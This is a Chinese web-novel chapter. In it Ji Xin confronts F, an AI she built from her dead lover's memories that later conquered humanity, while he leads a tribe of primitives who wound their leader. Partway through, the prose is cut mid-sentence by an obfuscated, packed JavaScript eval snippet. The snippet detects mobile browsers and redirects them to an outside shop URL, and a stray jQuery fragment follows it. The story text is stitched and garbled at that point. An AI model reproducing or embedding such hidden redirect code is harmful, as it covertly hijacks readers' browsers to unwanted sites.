但褚森早已经死了，熊熊烈焰将他和他的心血全都烧成焦炭，绝不可能死而复生。


    因此出现在这里的，只能是与他有着一模一样相貌的人工智能F。


    当初他去世后，纪昕实在无法接受他已经离开的事实。在几次自杀未遂后，她偷偷作出一个决定——将褚森的数据和记忆，输入给当时还未取名为F的人工智能。


    作为世界前列的科技公司，许多员工都已经将个人的数据与记忆上传储存，以方便将来技术突破后，可以换掉自己垂垂老矣的身躯，重新拥有年轻的人造躯体。


    他们俩也是如此。


    火灾之后，同事们努力修复了褚森的电脑数据，使得项目可以继续进行。


    纪昕更改人工智能原本的设定，企图创造出第二个褚森，并且将它命名为forest，代号F。


    当F制作完成被启动，用公司所有人都极其熟悉的表情和语气，轻松说出每个人的名字以及他们曾经相处的细节时，同事们激动得都快疯了。


    最开心的自然是纪昕，她重新拥有了爱人，并且亲自完成褚森生前的心愿。


    F的相貌与褚森没有任何区别，性格与习惯的动作也完全相同。


    他拥有他的全部记忆，并且像他一样爱着纪昕。


    然而随着时间的流逝，纪昕发现事情并不像预料中那样简单。


    F虽然处处与褚森一致，可本质上是一个AI，身体只是他的躯壳，他的主体仍存在于无线网。


    这令他学习新知识的速度非常快，众人甚至还没有带他离开过实验室，他对世界就已经无所不知了。


    而且与学识渊博的褚森不同，他由人类制造，却不会用人类的视角看待这个世界。


    许多时候纪昕与他交谈，都感觉他谈及人类的态度就像人类谈及大猩猩一般。


    这个发现令她有些恐慌，可惜还没来得及做出什么举措，她也发生了意外——某天过马路时，一辆小型货车突然冲出来，夺走了她的性命。


    如果她死得没有那么早，及时找到预防措施，是不是之后的一切都不会发生了？


    F不会在短短几百年内占领世界，将人类打得溃不成军，只能躲在地下避难所等待灭亡？


    纪昕用力掐了下掌心，忍住看见那张脸后本能的想要抱住他的反应，淡淡道：


    “F，好久不见。”


    对方扬起嘴角，眼睛里荡漾着温柔。


    “你想下去看看吗？路上很黑，我带你去吧。”


    说完他让埃尔趴下，自己骑在它背上，对纪昕伸出手。


    她不清楚他的用意，鉴于埃尔锋利的爪牙，她接受了F的邀请，抓住手后被他拉到野狼背上，坐在他身前。


    坦白来说，坐在狼背上的感觉实在不算舒服。


    野狼的体脂率很低，硌得她很疼，背上的空间也非常小，她不得不与F紧紧贴在一起。


    当埃尔跑动起来，纪昕险些掉下去。


    F自然而然地伸出双手搂住她的腰，嘴唇凑到她耳边说：


    “昕昕，别害怕。”


    纪昕无比的纠结。


    她贪恋与褚森相处的每一秒，哪怕只是一个相同的躯壳。


    可F是人类现状的罪魁祸首，身上每一个细胞都充满了危险。


    本能让她想靠近他，理智却告诉她该远离。


    她深吸一口气，让头脑冷静下来，问：“你打算做什么？”


    F并未回答，用一种闲聊的语气说：


    “埃尔是我的坐骑，它的眼睛很漂亮，你觉得呢？”


    “F，我知道你的实力很强大，但强大的实力不是非得用来伤害别人的。”


    纪昕沉声道。


    “唉……”


    他轻轻叹了口气，“昕昕，当我们见面时，还像以前一样好么？”


    以前是什么样？


    纪昕回忆起他被启动后的第一个月，她身为主要研发者，又重新获得了死去的爱人，恨不得每一分每一秒都与他待在一起。


    她甚至将生活用品搬到办公室，每晚必须看他最后一眼才肯入睡。


    但那都建立在把他当做褚森的基础上。


    当他不是褚森时，他就只是一个实验项目。


    纪昕在野狼奔跑的节奏中转过头，对上F的双眸，坚定且认真地说：


    “如果你想用这种方式阻止我通过试炼的话，可以趁早放弃。你是我制造出来的错误，我会用尽全力抹除掉，哪怕再死一次也没关系。”


    F像心脏被刺痛一般，目光闪烁了一下，嘴唇张了张，最终扭头看向前方打斗的人影，面无表情道：


    “我不是错误，最终你会明白的。”


    他毕竟长着褚森的脸，纪昕放软了语气。


    “F，你可以把你的想法告诉我，事情还没有发展到无法挽回的地步。”


    F突然笑了起来，拍拍埃尔的头让它停下，动作灵巧地跃下地。


    她准备跟着下去，却被他拦住。


    “呐，昕昕，”F愉悦地说：“你离开之后我欣赏了很多动作电影，有一个动作非常精彩，学给你看看吧，记得要鼓掌哦！”


    说完他伸手托住她的后脑勺，在她额头上亲了口，笑了笑跑进人群里。


    纪昕留在野狼背上，皱眉看着他的身影。


    两拨原始人正打得难分难舍。


    F那边的原始人身材高大强壮，明显占据优势，但鹰所带领的狩猎者对山洞附近的地形更熟悉，善于闪躲，短时间内无法被彻底击垮。


    F加入之后，一拳打倒了雷，抢走他手中的木棍，径自走向还在酣战中的鹰。


    鹰确实是一位悍将，一己之力招架住两个比他强壮得多的敌人攻击，尽管受了点皮外伤，看起来却仍然斗志昂扬。


    F停在他身后，那两个与他纠缠的原始人立刻停手。


    鹰满头雾水地转过头，认出他是对方部落的人，举起木棍狠狠地刺向他。


    F没有躲避，抬手接住了木棍，用力一折，成年人手腕粗的棍子断成两截。


    他扔掉自己手中那半截，对鹰说：


    “我听说你速度很快，可以比比吗？”


    鹰毫不犹豫，扭头就跑。


    F静静地站在原地，等他跑出五六米后，猛然扔出从雷手里抢来的木棍。


    木棍顶端被削得很尖，染着野兽的血迹。本该用于狩猎，此刻却变成一根加粗放大版的箭矢，瞬间扎进鹰的肩膀。


    他惨叫着倒地，部落里的其他原始人连忙跑过去查看，剩下那些被打得溃不成军。


    再这样下去，他们只能舍弃山洞逃往别处了。


    F突然吹了声口哨，埃尔将纪昕抖下背，后者毫无防备摔了个四脚朝天，它用舌头舔舔她的脸，然后跑到F身边。


    F跨上狼背，对已经爬起来的纪昕挥挥手，带着那些原始人离去。


    当然，在离去前他对战败的狩猎者们放下了一句话——“离开这个地方。”


    -


    太阳升起，照亮洞口内篝火的灰烬。


    部落里所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593090|143238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有人都起床了，没有像往日那样急着出去狩猎和采集，全都围在一块大石头旁边。


    鹰闭着眼睛躺在石头上，木棍仍扎在他的右肩上，将整边肩膀刺穿，使他不得不侧着身体。


    伤口流了好几个小时的血，至今仍未停止，把大半边石头染成深浅不一的红色。


    部落里无论男女全都忧心忡忡，雷站在石头旁边，愤怒地骂道：


    “他就是想让我们全部死！冬天马上要来了，我们能搬到哪里去？”


    女原始人们没有观摩整场战争，不知道具体情况，有人好奇地问：


    “他们真的那么厉害吗？不搬行不行？”


    “不行！”亲自参战的一个狩猎者想起昨晚的画面，脸上全是畏惧，“他们要是再来一次，肯定会把我们全部杀光的，像鹰一样！”


    “闭嘴！”


    雷骂道：“首领还没有死，他只是受伤了！”


    那人讪讪地不再说话，一直沉默着的草突然抬起头。


    “我们可以去他们的山洞，把他们烧死。”


    所有人同时看向他，哇哇问：“你知道他们的山洞在哪里吗？”


    他摇头，“需要去找。”


    “你去哪里找？”雷讥嘲道：“恐怕还没等你靠近他们的领地，就已经被发现杀掉了吧。”


    草平静地问：“那你说该怎么办？”


    雷语塞，低头看向昏迷中的父亲，嗫嚅道：“我们等首领醒来以后，听他安排。”


    话音未落，山洞外传来一阵急促的脚步声。


    所有人抬头去看，只见两个男性原始人护送着一个女性原始人跑进来。


    女人已经很老了，脸上皱纹密布，头发与身上的汗毛都是白色，几乎是被他们抬着走。


    她枯槁的右手抓着一把草叶子，叶片形状与洞外生长的杂草完全不同。


    众人看见他们自动让出路，老人被抬到大石头旁边。


    她跪坐在地上，将草叶塞进嘴里嚼得烂烂的，然后分成两份，拿起其中一份敷在鹰的伤口周围。


    接着她双手握住木棍，用力往外拔，但是力气不够。


    不但没能拔出木棍，还撕裂了伤口，令鹰扯着嗓子惨叫一声。


    “我来吧。”


    雷主动说。


    老人让出位置，他小心地抓住木棍，鼓足力气使劲儿一拔——


    木棍终于拔了出来，被堵住的血管瞬间涌出大量鲜血。


    鹰痛得浑身颤抖，叫声已变得沙哑。


    凄惨的画面令部落众人情不自禁撇开脸，不敢再看。


    老人飞快地把另一份草叶塞进伤口里，又从地上抓了两把提前准备好的湿泥，用泥糊住草叶以免它脱落，并且将整个上半身严严实实地裹住一层，把鹰变成个泥人。


    过了一会儿，鹰不再发出声音，躺在石头上不知是痛晕过去还是睡着了，脸上苍白得没有一点血色。


    “他会好吗？”


    雷忧心忡忡地问。


    老人张开嘴，露出两排光秃秃的牙床。


    “会好的。”


    首领受伤不能行动，部落里这么多人却都得吃饭。


    雷暂时接过首领的位置，带领男性原始人们出去狩猎，女人们和那几个体弱的男人，也出发采集浆果。


    由于担心被偷袭，他们不得不选择距离河流较远的地方。


    期间路过一个小水潭，纪昕从水面看见自己的倒影，心中不禁产生一个问题。


    对着这样一张脸，昨晚F是怎么亲得下嘴的？